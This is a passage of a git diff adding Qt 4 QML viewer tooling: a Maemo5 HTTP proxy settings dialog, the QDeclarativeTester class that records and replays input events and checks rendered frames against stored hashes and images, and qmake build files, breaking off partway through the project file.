diff --git a/tools/qml/proxysettings_maemo5.ui b/tools/qml/proxysettings_maemo5.ui
new file mode 100644
index 00000000..75875d83
--- /dev/null
+++ b/tools/qml/proxysettings_maemo5.ui
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>ProxySettings</class>
+ <widget class="QDialog" name="ProxySettings">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>447</width>
+ <height>162</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>HTTP Proxy</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout_2">
+ <property name="leftMargin">
+ <number>16</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>16</number>
+ </property>
+ <property name="bottomMargin">
+ <number>8</number>
+ </property>
+ <property name="horizontalSpacing">
+ <number>16</number>
+ </property>
+ <property name="verticalSpacing">
+ <number>0</number>
+ </property>
+ <item row="0" column="0">
+ <widget class="QCheckBox" name="proxyCheckBox">
+ <property name="text">
+ <string>Use HTTP Proxy</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1" rowspan="2">
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>40</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="1" column="0" rowspan="2">
+ <widget class="QWidget" name="widget" native="true">
+ <layout class="QGridLayout" name="gridLayout">
+ <property name="horizontalSpacing">
+ <number>16</number>
+ </property>
+ <property name="verticalSpacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
+ <item row="0" column="0">
+ <widget class="QLabel" name="serverAddressLabel">
+ <property name="text">
+ <string>Server</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QLineEdit" name="proxyServerEdit">
+ <property name="placeholderText">
+ <string>Name or IP</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>Port</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QLineEdit" name="proxyPortEdit">
+ <property name="text">
+ <string notr="true">8080</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="usernameLabel">
+ <property name="text">
+ <string>Username</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QLineEdit" name="usernameEdit"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="passwordLabel">
+ <property name="text">
+ <string>Password</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLineEdit" name="passwordEdit">
+ <property name="echoMode">
+ <enum>QLineEdit::Password</enum>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QDialogButtonBox" name="buttonBox">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="standardButtons">
+ <set>QDialogButtonBox::Cancel|QDialogButtonBox::Ok</set>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <tabstops>
+ <tabstop>proxyCheckBox</tabstop>
+ <tabstop>proxyServerEdit</tabstop>
+ <tabstop>proxyPortEdit</tabstop>
+ <tabstop>usernameEdit</tabstop>
+ <tabstop>passwordEdit</tabstop>
+ <tabstop>buttonBox</tabstop>
+ </tabstops>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>accepted()</signal>
+ <receiver>ProxySettings</receiver>
+ <slot>accept()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>318</x>
+ <y>100</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>157</x>
+ <y>116</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>rejected()</signal>
+ <receiver>ProxySettings</receiver>
+ <slot>reject()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>318</x>
+ <y>100</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>286</x>
+ <y>116</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
diff --git a/tools/qml/qdeclarativetester.cpp b/tools/qml/qdeclarativetester.cpp
new file mode 100644
index 00000000..0ea91282
--- /dev/null
+++ b/tools/qml/qdeclarativetester.cpp
@@ -0,0 +1,453 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qdeclarativetester.h>
+#include <QDebug>
+#include <QApplication>
+#include <qdeclarativeview.h>
+#include <QFile>
+#include <QDeclarativeComponent>
+#include <QDir>
+#include <QCryptographicHash>
+#include <private/qabstractanimation_p.h>
+#include <QGraphicsObject>
+#ifndef Q_OS_SYMBIAN
+#include <private/qdeclarativeitem_p.h>
+#endif
+
+QT_BEGIN_NAMESPACE
+
+extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled;
+
+QDeclarativeTester::QDeclarativeTester(const QString &script, QDeclarativeViewer::ScriptOptions opts,
+ QDeclarativeView *parent)
+: QAbstractAnimation(parent), m_script(script), m_view(parent), filterEvents(true), options(opts),
+ testscript(0), hasCompleted(false), hasFailed(false)
+{
+ parent->viewport()->installEventFilter(this);
+ parent->installEventFilter(this);
+ QUnifiedTimer::instance()->setConsistentTiming(true);
+
+ //Font antialiasing makes tests system-specific, so disable it
+ QFont noAA = QApplication::font();
+ noAA.setStyleStrategy(QFont::NoAntialias);
+ QApplication::setFont(noAA);
+
+ if (options & QDeclarativeViewer::Play)
+ this->run();
+ start();
+}
+
+QDeclarativeTester::~QDeclarativeTester()
+{
+ if (!hasFailed &&
+ options & QDeclarativeViewer::Record &&
+ options & QDeclarativeViewer::SaveOnExit)
+ save();
+}
+
+int QDeclarativeTester::duration() const
+{
+ return -1;
+}
+
+void QDeclarativeTester::addMouseEvent(Destination dest, QMouseEvent *me)
+{
+ MouseEvent e(me);
+ e.destination = dest;
+ m_mouseEvents << e;
+}
+
+void QDeclarativeTester::addKeyEvent(Destination dest, QKeyEvent *ke)
+{
+ KeyEvent e(ke);
+ e.destination = dest;
+ m_keyEvents << e;
+}
+
+bool QDeclarativeTester::eventFilter(QObject *o, QEvent *e)
+{
+ if (!filterEvents)
+ return false;
+
+ Destination destination;
+ if (o == m_view) {
+ destination = View;
+ } else if (o == m_view->viewport()) {
+ destination = ViewPort;
+ } else {
+ return false;
+ }
+
+ switch (e->type()) {
+ case QEvent::KeyPress:
+ case QEvent::KeyRelease:
+ addKeyEvent(destination, (QKeyEvent *)e);
+ return true;
+ case QEvent::MouseButtonPress:
+ case QEvent::MouseButtonRelease:
+ case QEvent::MouseMove:
+ case QEvent::MouseButtonDblClick:
+ addMouseEvent(destination, (QMouseEvent *)e);
+ return true;
+ default:
+ break;
+ }
+ return false;
+}
+
+void QDeclarativeTester::executefailure()
+{
+ hasFailed = true;
+
+ if (options & QDeclarativeViewer::ExitOnFailure)
+ exit(-1);
+}
+
+void QDeclarativeTester::imagefailure()
+{
+ hasFailed = true;
+
+ if (options & QDeclarativeViewer::ExitOnFailure){
+ testSkip();
+ exit(hasFailed?-1:0);
+ }
+}
+
+void QDeclarativeTester::testSkip()
+{
+ if (options & QDeclarativeViewer::TestSkipProperty){
+ QString e = m_view->rootObject()->property("skip").toString();
+ if (!e.isEmpty()) {
+ if(hasFailed){
+ qWarning() << "Test failed, but skipping it: " << e;
+ }else{
+ qWarning() << "Test skipped: " << e;
+ }
+ hasFailed = 0;
+ }
+ }
+}
+
+void QDeclarativeTester::complete()
+{
+ if ((options & QDeclarativeViewer::TestErrorProperty) && !hasFailed) {
+ QString e = m_view->rootObject()->property("error").toString();
+ if (!e.isEmpty()) {
+ qWarning() << "Test failed:" << e;
+ hasFailed = true;
+ }
+ }
+
+
+ testSkip();
+ if (options & QDeclarativeViewer::ExitOnComplete)
+ QApplication::exit(hasFailed?-1:0);
+
+ if (hasCompleted)
+ return;
+ hasCompleted = true;
+
+ if (options & QDeclarativeViewer::Play)
+ qWarning("Script playback complete");
+}
+
+void QDeclarativeTester::run()
+{
+ QDeclarativeComponent c(m_view->engine(), m_script + QLatin1String(".qml"));
+
+ testscript = qobject_cast<QDeclarativeVisualTest *>(c.create());
+ if (testscript) testscript->setParent(this);
+ else { executefailure(); exit(-1); }
+ testscriptidx = 0;
+}
+
+void QDeclarativeTester::save()
+{
+ QString filename = m_script + QLatin1String(".qml");
+ QFileInfo filenameInfo(filename);
+ QDir saveDir = filenameInfo.absoluteDir();
+ saveDir.mkpath(QLatin1String("."));
+
+ QFile file(filename);
+ file.open(QIODevice::WriteOnly);
+ QTextStream ts(&file);
+
+ ts << "import Qt.VisualTest 4.7\n\n";
+ ts << "VisualTest {\n";
+
+ int imgCount = 0;
+ QList<KeyEvent> keyevents = m_savedKeyEvents;
+ QList<MouseEvent> mouseevents = m_savedMouseEvents;
+ for (int ii = 0; ii < m_savedFrameEvents.count(); ++ii) {
+ const FrameEvent &fe = m_savedFrameEvents.at(ii);
+ ts << " Frame {\n";
+ ts << " msec: " << fe.msec << "\n";
+ if (!fe.hash.isEmpty()) {
+ ts << " hash: \"" << fe.hash.toHex() << "\"\n";
+ } else if (!fe.image.isNull()) {
+ QString filename = filenameInfo.baseName() + QLatin1String(".") + QString::number(imgCount) + QLatin1String(".png");
+ fe.image.save(m_script + QLatin1String(".") + QString::number(imgCount) + QLatin1String(".png"));
+ imgCount++;
+ ts << " image: \"" << filename << "\"\n";
+ }
+ ts << " }\n";
+
+ while (!mouseevents.isEmpty() &&
+ mouseevents.first().msec == fe.msec) {
+ MouseEvent me = mouseevents.takeFirst();
+
+ ts << " Mouse {\n";
+ ts << " type: " << me.type << "\n";
+ ts << " button: " << me.button << "\n";
+ ts << " buttons: " << me.buttons << "\n";
+ ts << " x: " << me.pos.x() << "; y: " << me.pos.y() << "\n";
+ ts << " modifiers: " << me.modifiers << "\n";
+ if (me.destination == ViewPort)
+ ts << " sendToViewport: true\n";
+ ts << " }\n";
+ }
+
+ while (!keyevents.isEmpty() &&
+ keyevents.first().msec == fe.msec) {
+ KeyEvent ke = keyevents.takeFirst();
+
+ ts << " Key {\n";
+ ts << " type: " << ke.type << "\n";
+ ts << " key: " << ke.key << "\n";
+ ts << " modifiers: " << ke.modifiers << "\n";
+ ts << " text: \"" << ke.text.toUtf8().toHex() << "\"\n";
+ ts << " autorep: " << (ke.autorep?"true":"false") << "\n";
+ ts << " count: " << ke.count << "\n";
+ if (ke.destination == ViewPort)
+ ts << " sendToViewport: true\n";
+ ts << " }\n";
+ }
+ }
+
+ ts << "}\n";
+ file.close();
+}
+
+void QDeclarativeTester::updateCurrentTime(int msec)
+{
+#ifndef Q_OS_SYMBIAN
+ QDeclarativeItemPrivate::setConsistentTime(msec);
+#endif
+ if (!testscript && msec > 16 && options & QDeclarativeViewer::Snapshot)
+ return;
+
+ QImage img(m_view->width(), m_view->height(), QImage::Format_RGB32);
+
+ if (options & QDeclarativeViewer::TestImages) {
+ img.fill(qRgb(255,255,255));
+
+#ifdef Q_WS_MAC
+ bool oldSmooth = qt_applefontsmoothing_enabled;
+ qt_applefontsmoothing_enabled = false;
+#endif
+ QPainter p(&img);
+#ifdef Q_WS_MAC
+ qt_applefontsmoothing_enabled = oldSmooth;
+#endif
+
+ m_view->render(&p);
+ }
+
+ bool snapshot = msec == 16 && (options & QDeclarativeViewer::Snapshot
+ || (testscript && testscript->count() == 2));
+
+ FrameEvent fe;
+ fe.msec = msec;
+ if (msec == 0 || !(options & QDeclarativeViewer::TestImages)) {
+ // Skip first frame, skip if not doing images
+ } else if (0 == ((m_savedFrameEvents.count()-1) % 60) || snapshot) {
+ fe.image = img;
+ } else {
+ QCryptographicHash hash(QCryptographicHash::Md5);
+ hash.addData((const char *)img.bits(), img.bytesPerLine() * img.height());
+ fe.hash = hash.result();
+ }
+ m_savedFrameEvents.append(fe);
+
+ // Deliver mouse events
+ filterEvents = false;
+
+ if (!testscript) {
+ for (int ii = 0; ii < m_mouseEvents.count(); ++ii) {
+ MouseEvent &me = m_mouseEvents[ii];
+ me.msec = msec;
+ QMouseEvent event(me.type, me.pos, me.button, me.buttons, me.modifiers);
+
+ if (me.destination == View) {
+ QCoreApplication::sendEvent(m_view, &event);
+ } else {
+ QCoreApplication::sendEvent(m_view->viewport(), &event);
+ }
+ }
+
+ for (int ii = 0; ii < m_keyEvents.count(); ++ii) {
+ KeyEvent &ke = m_keyEvents[ii];
+ ke.msec = msec;
+ QKeyEvent event(ke.type, ke.key, ke.modifiers, ke.text, ke.autorep, ke.count);
+
+ if (ke.destination == View) {
+ QCoreApplication::sendEvent(m_view, &event);
+ } else {
+ QCoreApplication::sendEvent(m_view->viewport(), &event);
+ }
+ }
+ m_savedMouseEvents.append(m_mouseEvents);
+ m_savedKeyEvents.append(m_keyEvents);
+ }
+
+ m_mouseEvents.clear();
+ m_keyEvents.clear();
+
+ // Advance test script
+ while (testscript && testscript->count() > testscriptidx) {
+
+ QObject *event = testscript->event(testscriptidx);
+
+ if (QDeclarativeVisualTestFrame *frame = qobject_cast<QDeclarativeVisualTestFrame *>(event)) {
+ if (frame->msec() < msec) {
+ if (options & QDeclarativeViewer::TestImages && !(options & QDeclarativeViewer::Record)) {
+ qWarning() << "QDeclarativeTester(" << m_script << "): Extra frame. Seen:"
+ << msec << "Expected:" << frame->msec();
+ imagefailure();
+ }
+ } else if (frame->msec() == msec) {
+ if (!frame->hash().isEmpty() && frame->hash().toUtf8() != fe.hash.toHex()) {
+ if (options & QDeclarativeViewer::TestImages && !(options & QDeclarativeViewer::Record)) {
+ qWarning() << "QDeclarativeTester(" << m_script << "): Mismatched frame hash at" << msec
+ << ". Seen:" << fe.hash.toHex()
+ << "Expected:" << frame->hash().toUtf8();
+ imagefailure();
+ }
+ }
+ } else if (frame->msec() > msec) {
+ break;
+ }
+
+ if (options & QDeclarativeViewer::TestImages && !(options & QDeclarativeViewer::Record) && !frame->image().isEmpty()) {
+ QImage goodImage(frame->image().toLocalFile());
+ if (frame->msec() == 16 && goodImage.size() != img.size()){
+ //Also an image mismatch, but this warning is more informative. Only checked at start though.
+ qWarning() << "QDeclarativeTester(" << m_script << "): Size mismatch. This test must be run at " << goodImage.size();
+ imagefailure();
+ }
+ if (goodImage != img) {
+ QString reject(frame->image().toLocalFile() + QLatin1String(".reject.png"));
+ qWarning() << "QDeclarativeTester(" << m_script << "): Image mismatch. Reject saved to:"
+ << reject;
+ img.save(reject);
+ bool doDiff = (goodImage.size() == img.size());
+ if (doDiff) {
+ QImage diffimg(m_view->width(), m_view->height(), QImage::Format_RGB32);
+ diffimg.fill(qRgb(255,255,255));
+ QPainter p(&diffimg);
+ int diffCount = 0;
+ for (int x = 0; x < img.width(); ++x) {
+ for (int y = 0; y < img.height(); ++y) {
+ if (goodImage.pixel(x,y) != img.pixel(x,y)) {
+ ++diffCount;
+ p.drawPoint(x,y);
+ }
+ }
+ }
+ QString diff(frame->image().toLocalFile() + QLatin1String(".diff.png"));
+ diffimg.save(diff);
+ qWarning().nospace() << " Diff (" << diffCount << " pixels differed) saved to: " << diff;
+ }
+ imagefailure();
+ }
+ }
+ } else if (QDeclarativeVisualTestMouse *mouse = qobject_cast<QDeclarativeVisualTestMouse *>(event)) {
+ QPoint pos(mouse->x(), mouse->y());
+ QPoint globalPos = m_view->mapToGlobal(QPoint(0, 0)) + pos;
+ QMouseEvent event((QEvent::Type)mouse->type(), pos, globalPos, (Qt::MouseButton)mouse->button(), (Qt::MouseButtons)mouse->buttons(), (Qt::KeyboardModifiers)mouse->modifiers());
+
+ MouseEvent me(&event);
+ me.msec = msec;
+ if (!mouse->sendToViewport()) {
+ QCoreApplication::sendEvent(m_view, &event);
+ me.destination = View;
+ } else {
+ QCoreApplication::sendEvent(m_view->viewport(), &event);
+ me.destination = ViewPort;
+ }
+ m_savedMouseEvents.append(me);
+ } else if (QDeclarativeVisualTestKey *key = qobject_cast<QDeclarativeVisualTestKey *>(event)) {
+
+ QKeyEvent event((QEvent::Type)key->type(), key->key(), (Qt::KeyboardModifiers)key->modifiers(), QString::fromUtf8(QByteArray::fromHex(key->text().toUtf8())), key->autorep(), key->count());
+
+ KeyEvent ke(&event);
+ ke.msec = msec;
+ if (!key->sendToViewport()) {
+ QCoreApplication::sendEvent(m_view, &event);
+ ke.destination = View;
+ } else {
+ QCoreApplication::sendEvent(m_view->viewport(), &event);
+ ke.destination = ViewPort;
+ }
+ m_savedKeyEvents.append(ke);
+ }
+ testscriptidx++;
+ }
+
+ filterEvents = true;
+
+ if (testscript && testscript->count() <= testscriptidx) {
+ //if (msec == 16) //for a snapshot, leave it up long enough to see
+ // (void)::sleep(1);
+ complete();
+ }
+}
+
+void QDeclarativeTester::registerTypes()
+{
+ qmlRegisterType<QDeclarativeVisualTest>("Qt.VisualTest", 4,7, "VisualTest");
+ qmlRegisterType<QDeclarativeVisualTestFrame>("Qt.VisualTest", 4,7, "Frame");
+ qmlRegisterType<QDeclarativeVisualTestMouse>("Qt.VisualTest", 4,7, "Mouse");
+ qmlRegisterType<QDeclarativeVisualTestKey>("Qt.VisualTest", 4,7, "Key");
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qml/qdeclarativetester.h b/tools/qml/qdeclarativetester.h
new file mode 100644
index 00000000..5c79b1fe
--- /dev/null
+++ b/tools/qml/qdeclarativetester.h
@@ -0,0 +1,290 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETESTER_H
+#define QDECLARATIVETESTER_H
+
+#include <QEvent>
+#include <QMouseEvent>
+#include <QKeyEvent>
+#include <QImage>
+#include <QUrl>
+#include <qmlruntime.h>
+#include <qdeclarativelist.h>
+#include <qdeclarative.h>
+#include <QAbstractAnimation>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeVisualTest : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<QObject> events READ events CONSTANT)
+ Q_CLASSINFO("DefaultProperty", "events")
+public:
+ QDeclarativeVisualTest() {}
+
+ QDeclarativeListProperty<QObject> events() { return QDeclarativeListProperty<QObject>(this, m_events); }
+
+ int count() const { return m_events.count(); }
+ QObject *event(int idx) { return m_events.at(idx); }
+
+private:
+ QList<QObject *> m_events;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeVisualTest)
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeVisualTestFrame : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int msec READ msec WRITE setMsec)
+ Q_PROPERTY(QString hash READ hash WRITE setHash)
+ Q_PROPERTY(QUrl image READ image WRITE setImage)
+public:
+ QDeclarativeVisualTestFrame() : m_msec(-1) {}
+
+ int msec() const { return m_msec; }
+ void setMsec(int m) { m_msec = m; }
+
+ QString hash() const { return m_hash; }
+ void setHash(const QString &hash) { m_hash = hash; }
+
+ QUrl image() const { return m_image; }
+ void setImage(const QUrl &image) { m_image = image; }
+
+private:
+ int m_msec;
+ QString m_hash;
+ QUrl m_image;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeVisualTestFrame)
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeVisualTestMouse : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int type READ type WRITE setType)
+ Q_PROPERTY(int button READ button WRITE setButton)
+ Q_PROPERTY(int buttons READ buttons WRITE setButtons)
+ Q_PROPERTY(int x READ x WRITE setX)
+ Q_PROPERTY(int y READ y WRITE setY)
+ Q_PROPERTY(int modifiers READ modifiers WRITE setModifiers)
+ Q_PROPERTY(bool sendToViewport READ sendToViewport WRITE setSendToViewport)
+public:
+ QDeclarativeVisualTestMouse() : m_type(0), m_button(0), m_buttons(0), m_x(0), m_y(0), m_modifiers(0), m_viewport(false) {}
+
+ int type() const { return m_type; }
+ void setType(int t) { m_type = t; }
+
+ int button() const { return m_button; }
+ void setButton(int b) { m_button = b; }
+
+ int buttons() const { return m_buttons; }
+ void setButtons(int b) { m_buttons = b; }
+
+ int x() const { return m_x; }
+ void setX(int x) { m_x = x; }
+
+ int y() const { return m_y; }
+ void setY(int y) { m_y = y; }
+
+ int modifiers() const { return m_modifiers; }
+ void setModifiers(int modifiers) { m_modifiers = modifiers; }
+
+ bool sendToViewport() const { return m_viewport; }
+ void setSendToViewport(bool v) { m_viewport = v; }
+private:
+ int m_type;
+ int m_button;
+ int m_buttons;
+ int m_x;
+ int m_y;
+ int m_modifiers;
+ bool m_viewport;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeVisualTestMouse)
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeVisualTestKey : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int type READ type WRITE setType)
+ Q_PROPERTY(int key READ key WRITE setKey)
+ Q_PROPERTY(int modifiers READ modifiers WRITE setModifiers)
+ Q_PROPERTY(QString text READ text WRITE setText)
+ Q_PROPERTY(bool autorep READ autorep WRITE setAutorep)
+ Q_PROPERTY(int count READ count WRITE setCount)
+ Q_PROPERTY(bool sendToViewport READ sendToViewport WRITE setSendToViewport)
+public:
+ QDeclarativeVisualTestKey() : m_type(0), m_key(0), m_modifiers(0), m_autorep(false), m_count(0), m_viewport(false) {}
+
+ int type() const { return m_type; }
+ void setType(int t) { m_type = t; }
+
+ int key() const { return m_key; }
+ void setKey(int k) { m_key = k; }
+
+ int modifiers() const { return m_modifiers; }
+ void setModifiers(int m) { m_modifiers = m; }
+
+ QString text() const { return m_text; }
+ void setText(const QString &t) { m_text = t; }
+
+ bool autorep() const { return m_autorep; }
+ void setAutorep(bool a) { m_autorep = a; }
+
+ int count() const { return m_count; }
+ void setCount(int c) { m_count = c; }
+
+ bool sendToViewport() const { return m_viewport; }
+ void setSendToViewport(bool v) { m_viewport = v; }
+private:
+ int m_type;
+ int m_key;
+ int m_modifiers;
+ QString m_text;
+ bool m_autorep;
+ int m_count;
+ bool m_viewport;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeVisualTestKey)
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeTester : public QAbstractAnimation
+{
+public:
+ QDeclarativeTester(const QString &script, QDeclarativeViewer::ScriptOptions options, QDeclarativeView *parent);
+ ~QDeclarativeTester();
+
+ static void registerTypes();
+
+ virtual int duration() const;
+
+ void run();
+ void save();
+
+ void executefailure();
+protected:
+ virtual void updateCurrentTime(int msecs);
+ virtual bool eventFilter(QObject *, QEvent *);
+
+private:
+ QString m_script;
+
+ void imagefailure();
+ void complete();
+ void testSkip();
+
+ enum Destination { View, ViewPort };
+ void addKeyEvent(Destination, QKeyEvent *);
+ void addMouseEvent(Destination, QMouseEvent *);
+ QDeclarativeView *m_view;
+
+ struct MouseEvent {
+ MouseEvent(QMouseEvent *e)
+ : type(e->type()), button(e->button()), buttons(e->buttons()),
+ pos(e->pos()), modifiers(e->modifiers()), destination(View) {}
+
+ QEvent::Type type;
+ Qt::MouseButton button;
+ Qt::MouseButtons buttons;
+ QPoint pos;
+ Qt::KeyboardModifiers modifiers;
+ Destination destination;
+
+ int msec;
+ };
+ struct KeyEvent {
+ KeyEvent(QKeyEvent *e)
+ : type(e->type()), key(e->key()), modifiers(e->modifiers()), text(e->text()),
+ autorep(e->isAutoRepeat()), count(e->count()), destination(View) {}
+ QEvent::Type type;
+ int key;
+ Qt::KeyboardModifiers modifiers;
+ QString text;
+ bool autorep;
+ ushort count;
+ Destination destination;
+
+ int msec;
+ };
+ struct FrameEvent {
+ QImage image;
+ QByteArray hash;
+ int msec;
+ };
+ QList<MouseEvent> m_mouseEvents;
+ QList<KeyEvent> m_keyEvents;
+
+ QList<MouseEvent> m_savedMouseEvents;
+ QList<KeyEvent> m_savedKeyEvents;
+ QList<FrameEvent> m_savedFrameEvents;
+ bool filterEvents;
+
+ QDeclarativeViewer::ScriptOptions options;
+ int testscriptidx;
+ QDeclarativeVisualTest *testscript;
+
+ bool hasCompleted;
+ bool hasFailed;
+};
+
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVETESTER_H
diff --git a/tools/qml/qml.icns b/tools/qml/qml.icns
new file mode 100644
index 00000000..c7605162
--- /dev/null
+++ b/tools/qml/qml.icns
Binary files differ
diff --git a/tools/qml/qml.pri b/tools/qml/qml.pri
new file mode 100644
index 00000000..cfc74af8
--- /dev/null
+++ b/tools/qml/qml.pri
@@ -0,0 +1,50 @@
+QT += declarative script network sql
+contains(QT_CONFIG, opengl) {
+ QT += opengl
+ DEFINES += GL_SUPPORTED
+}
+
+INCLUDEPATH += $$PWD
+
+HEADERS += $$PWD/qmlruntime.h \
+ $$PWD/proxysettings.h \
+ $$PWD/qdeclarativetester.h \
+ $$PWD/deviceorientation.h \
+ $$PWD/loggerwidget.h
+SOURCES += $$PWD/qmlruntime.cpp \
+ $$PWD/proxysettings.cpp \
+ $$PWD/qdeclarativetester.cpp \
+ $$PWD/loggerwidget.cpp
+
+RESOURCES = $$PWD/browser/browser.qrc \
+ $$PWD/startup/startup.qrc
+
+symbian {
+ contains(QT_CONFIG, s60) {
+ LIBS += -lavkon -lcone
+ }
+ !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
+ LIBS += -lsensrvclient -lsensrvutil
+ SOURCES += $$PWD/deviceorientation_symbian.cpp
+ } else {
+ SOURCES += $$PWD/deviceorientation.cpp
+ }
+ FORMS = $$PWD/recopts.ui \
+ $$PWD/proxysettings.ui
+} else:maemo5 {
+ QT += dbus
+ HEADERS += $$PWD/texteditautoresizer_maemo5.h
+ SOURCES += $$PWD/deviceorientation_maemo5.cpp
+ FORMS = $$PWD/recopts_maemo5.ui \
+ $$PWD/proxysettings_maemo5.ui
+} else:linux-g++-maemo {
+ QT += dbus
+ SOURCES += $$PWD/deviceorientation_harmattan.cpp
+ FORMS = $$PWD/recopts.ui \
+ $$PWD/proxysettings.ui
+} else {
+ SOURCES += $$PWD/deviceorientation.cpp
+ FORMS = $$PWD/recopts.ui \
+ $$PWD/proxysettings.ui
+}
+
diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro
new file mode 100644
index 00000000..3d1b84bb
--- /dev/null
+++ b/tools/qml/qml.pro
@@ -0,0 +1,54 @@
+TEMPLATE = app
+CONFIG += qt uic declarative_debug
+DESTDIR = ../../bin
+
+include(qml.pri)
+
+SOURCES += main.cpp
+
+INCLUDEPATH += ../../include/QtDeclarative
+INCLUDEPATH += ../../src/declarative/util
+INCLUDEPATH += ../../src/declarative/graphicsitems
+
+DEFINES += QT_NO_CAST_FROM_ASCII QT_NO_CAST_TO_ASCII
+
+target.path = $$[QT_INSTALL_BINS]
+INSTALLS += target
+
+wince* {
+ QT += xml
+
+ contains(QT_CONFIG, scripttools) {
+ QT += scripttools
+ }
+ contains(QT_CONFIG, phonon) {
+ QT += phonon
+ }
+ contains(QT_CONFIG, xmlpatterns) {
+ QT += xmlpatterns
+ }
+ contains(QT_CONFIG, webkit) {
+ QT += webkit
+ }
+}
+maemo5 {
+ QT += maemo5
+}
+symbian {
